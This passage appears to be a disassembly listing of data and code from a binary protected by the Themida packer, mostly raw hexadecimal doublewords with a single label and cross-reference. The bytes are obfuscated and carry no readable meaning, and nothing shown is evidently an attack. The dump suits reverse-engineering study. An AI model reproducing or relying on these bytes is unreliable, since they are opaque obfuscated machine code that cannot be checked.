696F26BAh, 2D6026BAh, 7AFC229Eh, 19C9915Dh, 1C5BAB74h dd 0D271679Eh, 7036234Eh, 0A6DB6793h, 68DE9F0Bh, 0C4F2AB98h dd 22BD67B2h, 2DDD2012h, 0EB8D949Eh, 686F0B1Bh, 2DD16198h dd 2DDECACDh, 76CE229Eh, 71FE795Dh, 693A26BAh, 2DCA26BAh dd 7EAD229Eh, 59AAB55Dh, 0E6324A0Ah, 0A6BB1F48h, 9EAA350h dd 53CE8601h, 8C2AFAFh, 982224DBh, 2BAB2B4Bh, 0C52222F4h dd 2DBB229Dh, 701E7FBEh, 29CA4E17h, 2953661Fh, 2DBB2282h dd 8E1E77DBh, 0E042F5ABh, 6BB07B5Bh, 550DA713h, 0ADD224D6h dd 2DEE2298h, 2D56A7B7h, 275224DBh, 0B7DD229Eh, 5FCF7E24h dd 432FA8D3h, 7A6BDD56h, 84679BF8h, 546BABC0h, 4771678Fh dd 2E53709Eh, 0DDD229Eh, 0A4B4E1C4h, 0AC7306CAh, 35BF06DAh dd 6FDD229Eh, 584DE1CCh, 0A09151AEh, 6516A51Bh, 7BDD4898h dd 2DEE2176h, 0EE29029Eh, 9CFABC0h, 999A39Ah, 2DEE3A9Ah dd 0EE21649Eh, 0B9571579h, 24680B77h, 7DE867B2h, 47532617h dd 2E53759Eh, 0DDD229Eh, 0A4B1E1C1h, 0AC7306E2h, 3BBF06DAh dd 6ADD229Eh, 694EE1C9h, 0D2ED94E2h, 68BD270Bh, 7FDD4898h dd 2DEE2176h, 0EE2D029Eh, 9EFABC4h, 999A39Ah, 2DEE3F9Ah dd 0EE25609Eh, 0B898324h, 38EEDE58h, 2007FD35h, 0A77229Eh dd 9C29D363h, 0DB0328CEh, 151DD6D7h, 0C02AF17h, 0F53024DBh dd 0A850D915h, 2BA68FE5h, 0C52722F4h, 2DBB229Dh, 751E7ABEh dd 29CA6617h, 2953661Fh, 2DBB2288h, 21E72DEh, 0AC889CEAh dd 0BD415759h, 0C6789DF8h, 0BD8773CEh, 0C5B822F4h, 2D77229Dh dd 73787CBEh, 29F95617h, 29CA661Fh, 2D772286h, 567874D8h dd 713EF8F1h, 7ABED815h, 96BABC7h, 0C5ED22F4h, 2DDD229Dh dd 732D7CBEh, 29535617h, 299F661Fh, 2DDD2285h, 0A62D74D8h dd 0C31F167Ch, 0C4730B50h, 2DDD228Dh, 0AC71E8F3h, 0EA933177h dd 66566C75h, 83B79DECh, 0D29F2EBFh, 687F130Bh, 402EAB98h dd 0A4DB67BAh, 68F9231Bh, 0B095A298h, 3536A7B7h, 0A81A24DBh dd 2BAB373Bh, 2D772291h, 2DB8A791h, 0C45D229Eh, 2C7BDD6Eh dd 47716789h, 2E53749Eh, 0DDD229Eh, 0A4B0E1C0h, 0AC7306EAh dd 3ABF06DAh, 6BDD229Eh, 60A6E1C8h, 0A61149C6h, 0D83EAB6Fh dd 0A4DB679Ch, 68FD9B13h, 90F2A998h, 0A0BD678Eh, 651D8A03h dd 2CADAB98h, 33B29F13h, 983624DBh, 2B95E21Ch, 2DEE1127h dd 0C6D3D19Eh, 2DBB9AADh, 0EDD6229Eh, 352C21EAh, 933A99Eh dd 2D537192h, 76DD229Eh, 2DF9E11Fh, 71FE229Eh, 693232BAh dd 958636BAh, 2D4E82A9h, 69FCC261h, 0CD4426BAh, 390CB715h dd 0FE6524DBh, 7B7748FFh, 2DBB2176h, 0EE83029Eh, 99AABC0h dd 933A39Ah, 2DBB3E9Ah, 0EE8B649Eh, 53F699E8h, 0AEA4EA0Ch dd 183EABE3h, 0A0DB67BFh, 65435923h, 29FAAF98h, 95BD6A5Fh dd 0B5FB89ABh, 2A9BA7ADh, 0E25C24DBh, 0F44DCB5Fh, 9DC58C22h dd 0BE2DEE22h, 1774B47Bh, 1F299F6Eh, 8829F966h, 832DEE22h dd 0A4F305E9h, 0BD31D98Bh, 6452EB9h, 64E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 60EC7E4Ah, 0AF83DFBAh, 0F3BF0F15h, 6A6161h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 7B3676C3h, 1DA9EA33h, 0C3C5E17Ch, 0F880Fh, 0AE90000h dd 80000000h, 0AD331430h, 1B4309C6h, 60C08BD5h, 61FEBF0Fh dd 30A1BD83h, 75000645h, 0BDBD8309h, 64504h, 53501974h dd 0B9B8C08Bh, 89000004h, 452C4185h, 0D39D8D06h, 0FF0647B5h dd 83585BD3h, 4504BDBDh, 17740006h, 0B9B85350h, 89000004h dd 452C4185h, 749D8D06h, 0FF0647B2h, 0F585BD3h, 118Eh dd 0CE900h, 751A0000h, 0B3FD4921h, 0D38C47Ah, 6AE72Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 1806B0C3h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 527D00C3h, 5F4903BEh, 0EE911h, 174F0000h dd 0BE5CE910h, 1C379765h, 60CE67A4h, 66C18B40h, 0EB4C40BFh dd 4, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0C78AA236h, 9D10EB21h, 0BD893B6Eh dd 64529B1h, 3A2DBE66h, 0D99858Dh, 6A0645h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 9F7AF4C3h dd 890F5271h, 0 dd 0A7DABE50h, 4894F22h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8BD0F570h, 451389BDh dd 66006A06h, 0B255D781h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0F916D9C3h, 0B5235E70h dd 6450999h, 0C429858Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0A36CDEC3h, 0DAFD8631h dd 8B60B989h, 451C55B5h, 0B4F28106h, 617673DCh, 2C99D89h dd 0C0830645h, 6E805h, 5670000h, 21A476D1h, 29F18531h dd 905E0645h, 9850Fh, 810F0000h, 3, 50F18B66h, 6A90F78Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0A112C355h, 6A006A1Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6ADBC353h dd 95FFFC00h, 6451749h, 8B0F6060h, 0 dd 9D8D6161h, 6489D99h, 0E9FE8B66h, 10h, 1767735Fh, 0B63133F8h dd 0EA1618E3h, 0AAA83F9Eh, 6AD3FFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1BD4A5C3h dd 0FD958960h, 60064523h, 0E58AC28Bh, 8D296161h, 64522B5h dd 32B985FFh, 8D090645h, 64529C1h, 7F1E9h db 0 byte_57A3A1 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:00540964o dd 815D0000h, 48C433EDh, 2D9D8906h, 81064512h, 4515A5BDh dd 7D006h, 0C5860F00h, 6A000001h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B9E0C356h dd 51F98B66h, 519D8B5Fh, 6A064500h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0C273C355h dd 469A69D8h, 0BF6FF5C9h, 4D252A6Ah, 14E9h, 25392F00h dd 7F08288Fh, 994CC8Bh, 6C6D0051h, 5359918h, 0E381E7h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0F3C7C353h, 822E7A3Dh, 0FDB0B9Eh dd 0A985h, 71BD2B00h, 8306452Ch, 48C25ABDh, 840F0006h dd 54h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h dd 0A7C35343h, 8BE9A1A0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0ED2CC352h dd 0D76F2ED1h, 0F81B866h, 189h, 0BD8BFC00h, 64517B5h, 0C25A85C7h dd 10648h, 0EE80000h, 0C7000000h, 0E7F65D6h, 6C192322h dd 0D8E90424h, 14E8B6h, 9A9E0000h, 6FE1C6D5h, 0C0F8FE60h dd 35633784h, 0FF910797h, 5F5EB9ABh, 1DE9h, 0E0BBBE00h dd 85C70090h, 648C25Ah, 0 dd 1CEB8160h, 890D3174h, 4509F195h, 9D8D6106h, 6450051h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F9C35242h dd 0D439CC9Eh, 68A0Fh, 0B58B0000h, 6450E0Dh, 5C1BD89h dd 23810645h, 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 91C35242h, 0E4F8928Eh, 2CC18D89h, 95290645h dd 6452079h, 0F6DB8C66h, 840F04C3h, 7Bh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 52C35747h, 0E9B15D2Dh dd 8AB24763h, 0DE9h, 0C35B5200h, 7A4BCE2h, 522B0814h, 95FF780Ch dd 6451701h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0E8C35646h, 445CBF90h, 50505DBBh, 60525052h, 66310F61h dd 5A8B26BEh, 0F310F58h, 284h, 5A5E5000h, 0E9F89058h, 40Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h dd 3EDF125Ch, 7E7AED37h, 1DD9B50Bh, 0D6810645h, 425EAEBFh dd 9D8900B0h, 6450471h, 7E9h, 91BAA100h, 2E9CE0B4h, 8B6670E6h dd 6A71E4F7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0AD5AC352h, 669C5AC7h, 0F246BBEh dd 7E8D8B6h, 59000000h, 6F2262F6h, 5ABF979Bh, 5F530D14h dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 912C5C17h, 0AAE3E856h, 816629C2h dd 8B1729E7h, 559589C3h, 0C1064517h, 0B70F04E8h, 0E2F766F8h dd 0DE85660h, 4E000000h, 6130F36Ch, 68366567h, 0D6DD99F0h dd 85035A5Bh, 6453179h, 6AD82B61h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 84D5C351h dd 12D58E2Ah, 81B68C3Eh, 41CCABCFh, 9E85064h, 23000000h dd 70E2AF2Bh, 9C5C2761h, 840Fh, 895F0000h, 6A241Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D9BBBDC3h, 0B5FF869Fh, 64515A5h, 312195FFh, 6A0645h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0DF54C3h, 0D21441EBh, 0B0F98BFDh, 41958900h, 0E6064525h dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0AF442136h, 0BA7BFE5h, 0F1BD8BC7h, 89064509h dd 4529058Dh, 0DD858906h, 0E4064507h, 53006A71h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B1BD8B09h, 81064508h, 95DA81EEh, 0F613C58h, 22683h dd 9BD8B00h, 0F06450Ah, 0EE9D8B6h, 8D000000h, 0DDEC3B7h dd 6A15B085h, 6BD6A5CCh, 6BA39h, 860F0000h, 6, 21EDB58Bh dd 0C38B0645h, 228DBD29h, 0E8C10645h, 66F98B04h, 6AE2F7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 56DCCFC3h, 0D82BBE8Dh, 0BE8h, 599ACA00h, 7C70A72Eh dd 7D3108CAh, 0D81BD8Bh, 35F0645h, 450271BDh, 8B665806h dd 0FD82BF3h, 19E88h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 7B9E51Ah, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 2FBBC356h, 95352905h, 0B58BB1EEh, 645133Dh, 0C183FCh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 58C35343h dd 0A1D2101Ah, 0BE66765Ah, 0D93BC851h, 121860Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0FA0BBCC3h, 1AD098DBh, 0B840F18h, 60000000h, 8BDA8B66h dd 4517F19Dh, 8C666106h, 10E9D9h, 3C3C0000h, 5C7BD98Fh dd 65A1D790h, 30820080h, 0C1F69AA6h, 0C4840F04h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 5B49C357h, 94063450h, 39D8320Bh, 68D0Fh dd 0BD890000h, 6452C79h, 2C158D89h, 95FF0645h, 6451701h dd 665BF98Bh, 0C32BFA8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0EFC35747h, 8BF48E5Bh, 451721BDh, 3DFA8B06h dd 834h, 4D860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 9BEC8CC3h, 32E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0F3AD4EABh, 0DD566C03h, 4D9D89BDh, 8B064504h, 0DB58BC0h dd 8B064533h, 6AD88BC3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6DA3C355h, 964442DDh dd 0B9BD0B4Ch, 53064511h, 533C2BEh, 85C75F5Dh, 6450599h dd 3A9F9B9Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0C35747h, 2A90B951h, 6AC08B02h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81B8C351h dd 4515A5BDh, 7D006h, 58850F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 97B4C352h dd 0D9462A6Ch, 9DBD8B3Ch, 0FF064523h, 4515A585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 9842A979h, 0F98B50D1h, 25BD8B5Fh, 0FF064523h, 4515A5B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 0C59D89FFh, 0FF064518h, 45312195h, 0B890F906h dd 12345678h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0FC35343h, 37AD0A09h, 8B908792h, 4524DDBDh, 0C49D8D06h dd 0E90648CBh, 0FFFFF831h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 6C35646h, 6D18A068h, 0C18B9CB4h, 19D8D29h dd 4EB0645h, 0 dd 810Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 59CEDEC3h, 7711F1FAh, 8B6683CFh dd 99858DF8h, 6006450Dh, 178D9D89h, 50610645h, 489FB8Bh dd 0C18D8924h, 6A06451Eh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D08B606Dh dd 10D18D09h, 89610645h, 4507A595h, 0BE006A06h, 27D2EB76h dd 0CDC6858Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 5CBBAAC3h, 0EDF1BED0h, 0C083EB44h dd 0ADBD8905h, 5006452Ch, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 351C356h dd 0ECB36F0Ah, 89006AF0h, 45303995h, 6A006A06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 6270C351h, 11C9BD89h, 95FF0645h, 6451749h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BAC35646h, 8D535E4Fh dd 489D999Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 78630C4Bh, 6134E13Dh, 5E9h, 0E3180600h dd 0BE66D89Ah, 0D3FFD0A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 99C35646h, 0FE046378h, 0B985FFB4h, 0F064532h dd 689h, 0DD958900h, 89064506h, 4517218Dh, 0EA4E906h, 0E80000h dd 5D000000h, 0CDD0ED81h, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 47D786C3h, 6FD9A36h dd 8164D103h, 4515A5BDh, 7D006h, 41860F00h, 8B000001h dd 451CB1BDh, 0B59D8B06h, 6A064529h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 245BC355h dd 960A9845h, 0EDE7F23Ah, 2CEF8166h, 0E3813Dh, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 2057C352h, 38F041AFh, 98DD53A9h, 0AAEF0DBFh dd 0FDB0B5Bh, 8D85h, 0F88B5000h, 29BD835Fh, 648CCh, 45840Fh dd 85E90000h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 43ECC350h, 198D898Ch dd 0E806450Dh, 10h, 0B17B1C3Ch, 0C6ECC95Fh, 84722EEAh dd 0F4CBE059h, 2849B58Bh, 0C75F0645h, 48CC2985h, 106h dd 35E9F800h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0BE19C353h, 7F5ACD5Eh dd 7E5B523h, 85C70645h, 648CC29h, 0 dd 1E49BE66h, 29B59D8Dh, 81660645h, 81D137CFh, 0FFFEFF23h dd 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 4080A58Eh, 14E998EAh, 0F88B66FAh, 6ADB8C66h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 92C3C356h, 8D09F0DBh, 6450905h, 0F04C3F6h dd 3884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FF52F462h, 45170195h, 1805BE06h dd 0BF5058E1h, 27892137h, 89240489h, 450B5995h, 3F9E906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0B047C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0A8C35545h, 0A64D569Ch, 0A909BC5Dh, 318D89B2h dd 0E9064519h, 0Bh, 16058BCh, 4582BF1Ah, 0E67D8456h, 0A5BD8B70h dd 0E406450Ch, 5BD8B71h, 0F064533h, 0B529D8B6h, 64513C1h dd 6BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0F5C38BB3h, 5304E8C1h, 2875BD29h dd 665E0645h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 7A65A3C3h, 0D8EBBE57h, 665F15D7h dd 0A991D781h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 287E6EC3h, 4961BA91h, 8B50C83Dh dd 241C89F7h, 31958B60h, 60064522h, 1849858Bh, 10E90645h dd 0C2000000h, 0A5F1C40h, 8D6EF7A3h, 64023A46h, 61D09B5Ah dd 0A5B5FF61h, 6A064515h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0B896C356h, 0FF990151h dd 45312195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 8B00B0ACh, 45246DB5h, 0E470E606h dd 51006A71h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 509CA288h, 667B7C0Fh, 3CFB4DBFh, 58830F61h dd 6A000002h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 3A50C353h, 807909ECh, 0BF66F28Bh dd 7BE4EB4h, 0F715EBAh, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0F31ACDC3h, 0D381A906h dd 89A6DF0Ah, 45333DB5h, 0DEE8106h, 0BA5EAD76h, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 53C35040h, 0DAA05AC3h dd 0FFDC86DEh, 7E9CCh, 3AA10000h, 5F34E7A3h, 81C38BD2h dd 55E529F7h, 4E8C17Fh, 5EF08B51h, 89E2F766h, 45104595h dd 6AD82B06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 1D02C355h, 835DB707h, 2AB22767h dd 6870Fh, 0BD8B0000h, 64512C5h, 59B58B58h, 2B064501h dd 68880FD8h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 4055C351h, 821B3A29h dd 0BDCC681h, 11E92F5Ah, 6D000000h, 59926900h, 0F31C3436h dd 0EA7025E0h, 0A539AFA8h, 7B9h, 0C18300h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D2C35343h, 29E9BD8Bh dd 0D93B0645h, 0F9860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0CFABA5C3h, 22AD77h dd 8B1CF4D4h, 4530E9B5h, 0D98C6606h, 0F04C1F6h, 0C084h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 4B94C68Eh, 0EB779D1Bh, 0F08BCE9Eh, 170195FFh dd 8B660645h, 0C6815BF9h, 478DFAF7h, 6AC32Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 81D9D5C3h dd 431BB6E7h, 8343D59h, 860F0000h, 59h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 35C35545h, 0DD598B1Ah dd 0F60A516h, 680h, 9DBD2300h, 61064510h, 26E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BD87322h, 45263DB5h, 8BC08B06h, 66D88BC3h, 0C75425BEh dd 45005185h, 5D575506h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1504h, 0C3504000h, 14E8712Eh, 70000000h dd 2A24EA54h, 1EC7E1AEh, 3646913Ch, 8CABC40Bh, 0F1D0C8Dh dd 0BF5FF6BFh, 5686D93Bh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 9ED492C3h, 18B8D7E1h dd 7998589h, 0BD810645h, 64515A5h, 7D0h, 2A850Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 706551C3h, 15A585FFh, 8D010645h, 6450D65h, 15A5B5FFh dd 9E90645h, 0E000000h, 2B4F4DC9h, 84504BDBh, 312195FFh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 236C5EC3h, 5E94090h, 1F000000h, 0C295F1B6h dd 1D79BD83h, 0F000645h, 0CF84h, 0DE816600h, 0B70F114Ah dd 69BD83F0h, 64501h, 0BA840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 850998C3h dd 6450305h, 1D7995FFh, 5F520645h, 840FC00Bh, 88h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5DC35343h, 0CFF529C5h dd 299CF791h, 45305DBDh, 6DE68106h, 8D079EA1h, 454E1C8Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0AEC082F0h, 60B7341Fh, 5B86BF6h, 0BF000000h dd 1422B585h, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0BF22B8C3h, 39313DAFh, 3299BD83h dd 0F000645h, 6A184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 2E4E5A89h, 83A5230Eh dd 0BD8BC3EFh, 6453191h, 169BD83h, 0F000645h, 66984h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 41C449A6h, 6B8553Fh, 6A5D55BFh, 18D8D42h, 6A06450Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 1244C352h, 0B9B58B37h, 0C706450Ch, 0B27C8401h dd 6890F44h, 89000000h, 450195B5h, 815F5006h, 99CFCB01h dd 57006A14h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 2F4FF1B0h, 41C79CC9h, 706B3404h, 7E9CEh dd 0AA1B0000h, 249DF6CAh, 4418117h, 31D6D710h, 6A006AF8h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 2AF1C351h, 0FB232469h, 0E2E4105Ch, 94DF8166h dd 1850F0Dh, 0F8000000h, 0D01858Dh, 0AE90645h, 0A5000000h dd 2462D885h, 0F0421122h, 0F3BF0F33h, 24048950h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 66C35646h, 80E576A0h dd 8E980h, 0B870000h, 0EA722CE7h, 95FFAD12h, 6453299h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h dd 0A0C35747h, 7D014D13h, 18D8DE9h, 6A06450Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 7038C350h, 673D007h, 0C7F7B70Fh, 1, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0B40E39B6h, 0A5F3CFE7h, 0CDBFE013h, 0C73DFE9Bh, 441h dd 0B5090000h, 64514E9h, 840FC00Bh, 79h, 1945BD89h, 8D8D0645h dd 6454E1Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 6EC35242h, 0FC558B76h, 3216F28h, 5B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 91C4190Bh, 0DF03949Eh, 6FF2D7BEh, 0E9E1FF35h, 0Ch, 8D2E1F48h dd 0D3E94186h, 0EA2512D2h, 3840Fh, 8B660000h, 18D8DF3h dd 6A06450Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0EE46C353h, 8589BC9Ch, 6453065h dd 727C01C7h, 7E944AAh, 0EA000000h, 0C8CF36A2h, 181BEC6h dd 1499CFCBh, 3C0441C7h, 66CE7875h, 81352EBEh, 0D7100441h dd 6A31D6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 83A65BC3h, 0F65802E6h, 8B284B13h, 4511ADB5h dd 0E8006A06h, 0Fh, 0F354577Bh, 95187898h, 7F960953h, 0F8371A09h dd 1858D5Eh, 6A06450Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 944C355h, 0B052E7A1h dd 0AE658F98h, 9CDF8166h, 0F7BF0F3Ch, 83BF6650h, 24048983h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0D3C35747h dd 0A37E0B20h, 0EE81664Bh, 95FF008Fh, 6453299h, 0D018D8Dh dd 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 42C0C6C3h, 0E10C3189h, 1C7h, 9D010000h, 645246Dh dd 441C7h, 66000000h, 9501F78Bh, 6453149h, 840FC00Bh, 0A9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A8C35141h dd 8D8AFAF8h, 454E1C8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 1B16548h, 118D0Fh, 850F0000h dd 0Bh, 6E9h, 8D094800h, 0B8C9E9A7h, 5, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0FEC35040h, 5789B069h dd 39FC54C2h, 6AE1FFA4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 675BC352h, 0BC5773CFh dd 18D8D4Bh, 8B06450Dh, 4532F5B5h, 0A501C706h, 6A54CA95h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 9EF7C353h, 79C88060h, 0E11B589h, 81610645h dd 99CFCB01h, 55006A14h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0F5239EC6h, 0F456781h, 41C7FBBFh dd 5F596904h, 61F560CEh, 10044181h, 0F31D6D7h, 0B531FEBFh dd 645147Dh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 7F0BFFC3h, 3C141B54h, 518D2927h dd 8D064533h, 450D0185h, 62D68106h, 604272CCh, 46E7CF81h dd 8D8B46E8h, 6451115h, 870F9061h, 0Dh, 6E960h, 8FA10000h dd 0C76A5E74h, 0BE665061h, 0FF907067h, 45329995h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 5757C467h, 15BBA910h, 0EDB58943h, 6606451Fh, 8D8DF78Bh dd 6450D01h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 